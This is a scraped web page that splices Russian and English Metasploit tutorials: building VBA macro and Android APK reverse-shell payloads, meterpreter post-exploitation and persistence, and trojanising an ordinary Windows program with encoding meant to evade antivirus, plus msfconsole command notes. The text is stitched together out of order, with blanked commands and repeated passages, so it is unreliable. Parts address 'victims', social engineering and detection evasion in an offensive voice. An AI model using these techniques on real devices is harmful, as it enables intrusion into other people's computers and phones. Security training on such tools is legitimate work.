Using the msfcli interface

Пэйлоады-макросы на VBA

Создадим пэйлоад в виде VBA-скрипта, который будем использовать в качестве макроса MS Excel для атаки на целевую машину. Для того, чтобы это сделать, выполним следующую команду в терминале Kali:

После выполнения команды, нужно скопировать то, что выделено на рисунке выше, от  до . Далее, откроем файл MS Excel, нажмём  для вызова окна управления макросами.

Тут введём имя макроса и нажмём на кнопку . Макрос мы хотим сохранить в открытой книге, поэтому в соответствующем выпадающем списке надо выбрать .

После этого надо вставить в редакторе VBA ранее скопированный код пэйлоада, закрыть редактор и включить макросы.

Теперь можно заполнить Excel-файл какими-нибудь правдоподобно выглядящими данными, в нашем случае — это просто слово , сохранить и отправить жертве. Для организации подключения к удалённому компьютеру нужно открыть терминал Kali, выполнить команду , после чего ввести следующие команды:

Когда Excel-файл будет открыт на интересующем нас компьютере, жертве будет предложено включить макросы. После их включения выполнится VBA-скрипт, который создаст обратное подключение к удалённому компьютеру. Выглядеть это будет так, как показано ниже.

load

The load command loads a plugin from Metasploit’s plugin directory. Arguments are passed as key=val on the shell.

msf > load
Usage: load  

Loads a plugin from the supplied path.  If path is not absolute, first looks
in the user's plugin directory (/root/.msf4/plugins) then
in the framework root plugin directory (/usr/share/metasploit-framework/plugins).
The optional var=val options are custom parameters that can be passed to plugins.

msf > load pcap_log
 PcapLog plugin loaded.
 Successfully loaded plugin: pcap_log

loadpath

The loadpath command will load a third-part module tree for the path so you can point Metasploit at your 0-day exploits, encoders, payloads, etc.

msf > loadpath /home/secret/modules

Loaded 0 modules.

unload

Conversely, the unload command unloads a previously loaded plugin and removes any extended commands.

msf > unload pcap_log
Unloading plugin pcap_log...unloaded.

The walkthrough

Step 1: Starting Kali Linux

  • From your VM, start Kali Linux and log in with root/toor (user ID/password)
  • Open a terminal prompt and make an exploit for the Android emulator using the MSFvenom tool

Before we start, let’s talk about MSFvenom. It is a combination of MSFpayload and MSFencode. These tools are extremely useful for generating payloads in various formats and encoding these payloads using various encoder modules.

Merging these two tools into a single tool just makes sense. It standardizes the command-line options, speeds things up a bit by using a single framework instance and handles all possible output formats. MSFvenom is used to make a payload to penetrate the Android emulator.

By using MSFvenom, we create a payload .apk file. For this, we use the following command:

Terminal: msfvenom –p android/meterpreter/reverse_tcp LHOST=Localhost IP  LPORT=LocalPort R > android_shell.apk

Figure 1: MSFvenom payload

  • -p — Payload to be used
  • LHOST — Localhost IP to receive a back connection (Check yours with ifconfig command)
  • LPORT — Localhost port on which the connection listen for the victim (we set it to 4444)
  • R — Raw format (we select .apk)
  • Location — To save the file

Note: In this command, we have used the local address because we are demonstrating in the local environment. To perform in the public network, you should enter your public address in LHOST and enable port forwarding on the router.

After this command, now you can locate your file on the desktop with the name android_shell.apk.

Figure 2: APK file created successfully

After we successfully created the .apk file, we need to sign a certificate because Android mobile devices are not allowed to install apps without the appropriately signed certificate. Android devices only install signed .apk files.

We need to sign the .apk file manually in Kali Linux using:

  • Keytool (preinstalled)
  • jar signer (preinstalled)
  • zipalign (need to install)

To sign the .apk file locally, use these commands:

Terminal: keytool -genkey -V -keystore key.keystore -alias hacked -keyalg RSA -keysize 2048 -validity 10000

Figure 3: Keytool making keystore

Terminal: jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore key.keystore android_shell.apk hacked

Figure 4: Signing a .apk file with JARsigner

Terminal: jarsigner -verify -verbose -certs android_shell.apk

Figure 5: Verifying the .apk using JARsigner

Zipalign is not preinstalled in Kali Linux, so you will have to install it first.

Figure 6: Installing Zipalign

Terminal: zipalign -v 4 android_shell.apk singed_jar.apk

Figure 7: Verifying the .apk into a new file using Zipalign

Now we have signed our android_shell.apk file successfully and it can be run on any Android environment. Our new filename is singed_jar.apk after the verification with Zipalign.

Figure 8: Malicious .apk file ready to install

The next step is to set up the listener on the Kali Linux machine with multi/handler payload using Metasploit.

Terminal: msfconsole

Figure 9: Starting Metasploit

Metasploit begins with the console.

Figure 10: Display Metasploit start screen

Now launch the exploit multi/handler and use the Android payload to listen to the clients.

Terminal: use exploit/multi/handler

Figure 11: Setting up the exploit

Next, set the options for payload, listener IP (LHOST) and listener PORT(LPORT). We have used localhost IP, port number 4444 and payload android/meterpreter/reverse_tcp while creating an .apk file with MSFvenom.

Figure 12: Setting up the exploit

Then we can successfully run the exploit to listen for the reverse connection.

Terminal: run

Figure 13: Executing the exploit

Now it is time to quickly set up the Android emulator (if you don’t have an Android device). Steps to configure the Android emulator:

  • Download the image file for the Android x86 code project from the Google Code projects site (https://code.google.com/archive/p/android-x86/downloads)
  • Create a virtual machine using another version 2.6x kernel in the VMware workstation
  • Mount the ISO file into VMware options
  • Finish the process and run the machine in LIVE mode
  • Set up the Android device
  • Set up the Google account

Note: Android x86 project can connect it to a local network with an Ethernet adapter (VMnet8). If you are using another emulator to penetrate the Android device, you can also use a CLI Android emulator.

Download the singed_jar.apk file and install it with “unknown resources allowed” on the Android device.

Figure 15: Downloaded the file into an Android device

Then run and install the .apk file.

Figure 16: Installing the application into an Android device

After complete installation, we are going back to the Kali machine and start the Meterpreter session.

Постэксплуатация

Да, теперь переходим к самому вкусному – постэкслуатации и meterpreter’у. Надеюсь, ты знаком с meterpreter’ом, потому как рассказывать, насколько он хорош (и следов после себя почти не оставляет, и работает в chroot’е) и функционален (встроенные хак-тулзы, модификация реестра и файловой системы, миграция по процессами и токенам, маршрутизация) у меня нет желания :).

Давай предположим, что мы получили доступ к одному из компов (192.168.146.129) в корпоративой сети и мы (192.168.0.102) хотим развить наш успех – просканить подсетку и поиметь еще что-нибудь.

Добавляем маршрут (подсетка, ее маска, сессия для маршрутизации) в msfconsol’е:

К сожалению, nmap не захотел пользоваться этим маршрутом – видимо, не такая глубокая интеграция пока что. Но обычными модулями, сплоитами и сканерами спокойно (то есть без каких-либо спецнастроек) можно пользоваться для развития атаки (см. рисунок) – всю маршуртизацию берет на себя MSF.

Так как у определенных хостов может быть ограничен доступ во внешнюю сеть (где находимся мы), то для связи с ними можно использовать портфорвардинг на уже уделанной жертве, благо, meterpreter это умеет:

Теперь прописываем в payload’ах сплоитов LHOST=192.168.146.129, LPORT=8008, и все будет тип-топ.

Meterpreter имеет чудесную возможность – автоматизация действий посредством руби-скриптов. Это реально круто. Посмотреть существующие скрипты можно в msf3\scripts\meterpreter, во время юзания – пишем run и дважды Tab (для тех, кто не в теме :). Запускать скрипты можно либо ручками через команду run, либо указав переменную AutoRunScript или InitialAutoRunScript при конфиге нагрузке/сервера. Вторая переменная – выполняется до запуска шелла, первая – после.

Скриптов входящих в поставку уже много, из самого стандартного:

  • winenum – быстренько собирается вся инфа о системе от сетевых настроек до установленного ПО и хешей;
  • persistence, metsvc – прописывает meterpreter на автозапуск в реестре или как сервис;
  • getcountermeasure – отключает файер, может убивать процессы разнообразных антивирусов и файрволов.

Организация Reverse Shell-подключения

Reverse Shell (или Reverse TCP, или connect-back, или обратное подключение) — это схема взаимодействия с удалённым компьютером, обратная вышеописанной. При её использовании нужно, чтобы атакующий сначала запустил на своей машине сервер, при этом целевая машина будет играть роль клиента, который подключается к этому серверу, после чего атакующий получает доступ к оболочке целевого компьютера.Для того, чтобы создать соответствующую полезную нагрузку, нужно ввести в терминале Kali следующую команду:

В данном случае мы включаем в команду некоторые новые параметры, такие, как  (локальный хост),  (локальный порт) для того, чтобы принять обратное соединение от компьютера жертвы.После того, как пэйлоад создан, отправлен на атакуемый компьютер и выполнен там, мы переходим ко второму шагу атаки. Запустим  и введём следующие команды для того, чтобы организовать подключение удалённого компьютера к нашей машине.

На нижеприведённом рисунке видно, что после того, как жертва запустит пэйлоад, выполняется обратное подключение к нашему компьютеру и у нас оказывается сессия .

ГУИ возвращается!

Для тех, кто не любит консоль или лень разбираться с командами MSF, существует гуишная оболочка на основе GTK. Точнее существовала, так как с версии 3.3 на нее забили. Если не ошибаюсь, то же самое случилось и с msfweb. То есть пользоваться еще можно, но и так со стабильностью были проблемы, а тут… эх!

Но во время подготовки статьи случилось хорошее – новая гуишная оболочка. Она изменилась и снаружи, и внутри. Если точнее, то она написана на Java, потому кроссплатформенна, и к тому же взаимодействует с MSF через XMLRPC интерфейс, то есть можно использовать ее удаленно.

Запуск гуи делается в две стадии: стартуем msfrpcd, коннектимся к нему через msfgui. Под никсами запустив msfgui можно просто кликнуть «start new msfprcd»

Версия для Win:

  1. Запускаем Cygwin консоль
  2. cd /msf3
  3. msfrpcd -S -U username -P password где –S – отключение SSL, и придуманные логин/пасс
  4. запускаем msfgui.jar, который храниться в %MSF%\msf3\data\gui либо двойным кликом, либо в консоли (не в cygwin’e): java –jar msfgui.jar

В msfgui вводим логин/пасс, порт, IP и коннектимся.

Кое-чего, даже по сравнению со старой гуи, не хватает. Например, доступа к консоли или просмотр логов. Но работать можно, особенно если требуется по быстрому пробежаться по сплойтам, модулям, полазить по чужому компу и т.д.

Задача: Спрятать бэкдор в любом exe-файле, с сохранением функционала последнего

Решение

В одном из прошлых номеров было описано решение данной задачи, но тогда требовалось использовать виндовый IExpress, писать скрипт для последовательного запуска exe’шников, что не очень удобно. К тому же, тот метод ни как не помогал скрыться от антивирусов.

И вот опять скажем спасибо создателям Metasploit’а (metasploit.com). Они расширили функционал msfencode и добавили приятную возможность – объединять любой exe-файл с любой нагрузкой(payload), причем сохраняя функционал исходного exe-файла. Как раз из-за отсутствия сохранения функционала и приходилось извращаться. Но сразу к делу. За основу возьмем qip.exe.

Где, модулю msfpayload указываем создать нагрузку реверс-метерпретер с указанием хоста (LHOST). Формат вывода – сырой(R). Итог попадает в msfencode. Ему мы указываем зашифровать нашу нагрузку(-e x86/shikata_ga_nai) трижды (-с 3). А далее совместить ее с существующим exe-файлом (-t exe). Указываем, что искать exe-файл требуется в домашней директории (-d ~ ), а его имя qip.exe (-x qip.exe). Самый главный аргумент -k указывает, что нагрузка будет подгружаться как отдельный потов в конечном exe-файле. И последнее, указываем итоговое название файла q_bd101.exe (-o q_bd101.exe).

Exe-файл, который требуется пробекдорить, как было сказано выше, необходимо положить в домашнюю директорию, иначе — в стандартную папку с темплэйтами в MSF.

Как видишь, все достаточно просто. Скрипт-киддисы очень радовались данной фиче, что и понятно :).

О результирующем файле можно сказать следующее. Во-первых, копируется вся информация о файле, что хорошо. Во-вторых (что не очень хорошо) увеличивается размер файла. Хотя и всего на несколько килобайт

Если соблюдение точного размера важно – либо убираем «-k», либо ручками подкромсаем излишки в ехе-шнике. В-третьих, функционал программы остается прежним, что является большим плюсом

В-четвертых, ухудшается детектирование антивирусами (15 из 42 на virustotal.com), что тоже плюс.

Теперь есть возможность затроянить почти любое приложение под Windows! А определить, что приложение было модифицировано можно только по CRC, контрольной сумме. Но это вряд ли кому-то придет в голову. Кроме того, поменяв метод кодирования самой нагрузки, можно и вовсе избавить от детекта антивирусами. Но и это еще не все! Так у нас появляется возможность обходить брандмауэры пользователей, за счет того, что юзеры редко точно определяют правила для софта. Например, тот же квип по определению должен работать по сети, что и указывается в фаерволле, но кроме того, он будет нашим шеллом, а такие тонкие настройки, чтобы заблокировать данную возможность, есть в мало в каких фаерволлах.
В общем, об этом можно было только мечтать :).

Commonly asked questions about hacking with Metasploit and msfvenom.

Q.1 Is this hacking tool Metasploit and msfvenom legal?

No. It is not meant for hacking people. It is a tool meant for white hat pentesting only and should be used with the same intent. Hacking World is not responsible for any illegal use done by you.

Q.2 It’s not working what do I do?

Disable firewall and antivirus and then all the steps again. Make sure you do not make any typing mistakes while typing the commands.

Q.3 My antivirus detects it as a virus is it safe?

The apk file made by msfvenom is a virus made by you so obviously unless you use an application like veil framework it will get detected as a virus.

Q.4 I want to hack my girlfriend’s phone how do I do it?

We do not support black hat hacking, and we do not reply and respond to such requests. This article is meant only for educational purposes.

Q.5 Can I use kali Linux with on my phone to use this hack?

Yes, you can use the termux app, or you can use kali Linux nethunter to hack android devices with Metasploit and msfvenom.

Q.6 I do not want to use NOIP?

You can directly use your public IP address.

Q.7 What is the difference between public and local IP address?

Public Address is the address you have on the internet. You can just google whats my IP to find out your public IP.

Your local IP is the IP address of your system on the local network. Use ifconfig for Linux and ipconfig for windows to find out your IP.

Пэйлоад для Android

Взлом мобильных устройств всегда привлекал к себе немалое внимание, поэтому рассмотрим методику создания пэйлоадов для платформы Android. Откроем терминал Kali и введём следующую команду:. После подготовки apk-файла его нужно передать на интересующее нас мобильное устройство

Затем нужно подготовиться к подключению на Kali:

После подготовки apk-файла его нужно передать на интересующее нас мобильное устройство. Затем нужно подготовиться к подключению на Kali:

После того, как пэйлоад будет запущен, в нашем распоряжении будет сессия meterpreter и мы сможем взаимодействовать со взломанным телефоном.

setg

In order to save a lot of typing during a pentest, you can set global variables within msfconsole. You can do this with the setg command. Once these have been set, you can use them in as many exploits and auxiliary modules as you like. You can also save them for use the next time you start msfconsole. However, the pitfall is forgetting you have saved globals, so always check your options before you run or exploit. Conversely, you can use the unsetg command to unset a global variable. In the examples that follow, variables are entered in all-caps (ie: LHOST), but Metasploit is case-insensitive so it is not necessary to do so.

msf > setg LHOST 192.168.1.101
LHOST => 192.168.1.101
msf > setg RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf > setg RHOST 192.168.1.136
RHOST => 192.168.1.136

After setting your different variables, you can run the save command to save your current environment and settings. With your settings saved, they will be automatically loaded on startup, which saves you from having to set everything again.

msf > save
Saved configuration to: /root/.msf4/config
msf >

Организация Reverse HTTPS-подключения

Обратите внимание на то, что обе вышеописанные атаки осуществимы в том случаем, если на машине жертвы имеются подходящие работающие порты. Сейчас мы попытаемся найти выход из ситуации, когда на интересующем нас компьютере порты заблокированы

В подобном случае можно сориентироваться в ситуации и создать пэйлоад, например, воспользовавшись портом 443 для HTTPS. Для этого нужно ввести в терминале Kali следующую команду:

После создания пэйлоада и отправки его жертве, которая, как ожидается, рано или поздно запустит соответствующий файл, мы переходим к следующему шагу. Запускаем и вводим следующие команды для организации подключения:

Как видно на следующем рисунке, после того, как пэйлоад будет запущен на целевом компьютере, происходит обратное подключение к нашему компьютеру и мы можем пользоваться возможностями сессии meterpreter.

Payload Generation Failed

Having the ability to generate shellcode without the use of certain characters is one of the great features offered by this framework. That doesn’t mean it’s limitless.
If too many restricted bytes are given no encoder may be up for the task. At which point Metasploit will display the following message.

msf  payload(shell_bind_tcp) > generate -b '\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b\xFF\x0a\x0b\x01\xcc\6e\x1e\x2e\x26'
 Payload generation failed: No encoders encoded the buffer successfully.

It’s like removing too may letters from the alphabet and asking someone to write a full sentence. Sometimes it just can’t be done.

Summary

In this lab, we are going to learn how you can hack an android mobile device using MSFvenom and the Metasploit framework. We will use MSFvenom for generating the payload, save it as an .apk file and set up a listener to the Metasploit framework. Once the user/victim downloads and install the malicious .apk, an attacker can easily get back the session on Metasploit. To accomplish this, an attacker needs to do some social engineering to install the .apk on the victim’s mobile device.

We will demonstrate this by using the following tools

  • Kali Linux
  • Android device/emulator
  • Zipalign
  • VMware or VirtualBox (virtual environment)

Once the following setup is confirmed without error, then we are ready.

NOTE: This lab is for education purposes only. The author and/or Infosec are not responsible for any illegal activity performed by the user. Kindly type commands instead of copy/paste in order to replicate the lab.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *